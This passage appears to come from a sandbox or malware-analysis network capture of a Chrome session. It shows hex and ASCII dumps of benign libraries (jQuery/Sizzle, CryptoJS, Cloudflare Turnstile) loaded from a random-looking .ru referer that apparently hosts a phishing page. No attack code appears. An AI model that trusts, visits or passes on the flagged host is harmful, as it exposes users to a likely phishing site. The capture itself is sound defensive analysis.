2024-12-09 23:06:33 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49728	104.17.25.14	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:33 UTC	651	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://wfdd.htqeuifpr.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:33 UTC	960	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:33 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 284348 Expires: Sat, 29 Nov 2025 23:06:33 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ygJKKCbZgGh4lDD14rdOK7vOSAtOhzuWqOCo3wsRqo9RncBaM0W9IVjF6JePezbs%2FRYaDO5Sfc5NQ7v%2BA%2FdcAEMFYOhR1oN%2BabY9Hc8Mx9OfEQnjMzwiNIlMWCm47XNTBAVRYqwX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ef8a5778bb48ce6-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:33 UTC	409	IN	Data Raw: 37 62 66 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf1!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-09 23:06:33 UTC	1369	IN	Data Raw: 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 Data Ascii: of globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cr
2024-12-09 23:06:33 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 Data Ascii: .call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByte
2024-12-09 23:06:33 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c Data Ascii: ypeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<
2024-12-09 23:06:33 UTC	1369	IN	Data Raw: 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e Data Ascii: (var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>
2024-12-09 23:06:33 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b Data Ascii: ;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[
2024-12-09 23:06:33 UTC	1369	IN	Data Raw: 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a Data Ascii: er,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:
2024-12-09 23:06:33 UTC	1369	IN	Data Raw: 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f Data Ascii: charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNO
2024-12-09 23:06:33 UTC	1369	IN	Data Raw: 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 Data Ascii: (a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=th
2024-12-09 23:06:33 UTC	1369	IN	Data Raw: 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c Data Ascii: ]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49730	104.18.95.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:34 UTC	648	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://wfdd.htqeuifpr.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:35 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:35 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ef8a582092c7c96-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:35 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-09 23:06:35 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-09 23:06:35 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-09 23:06:35 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-09 23:06:35 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
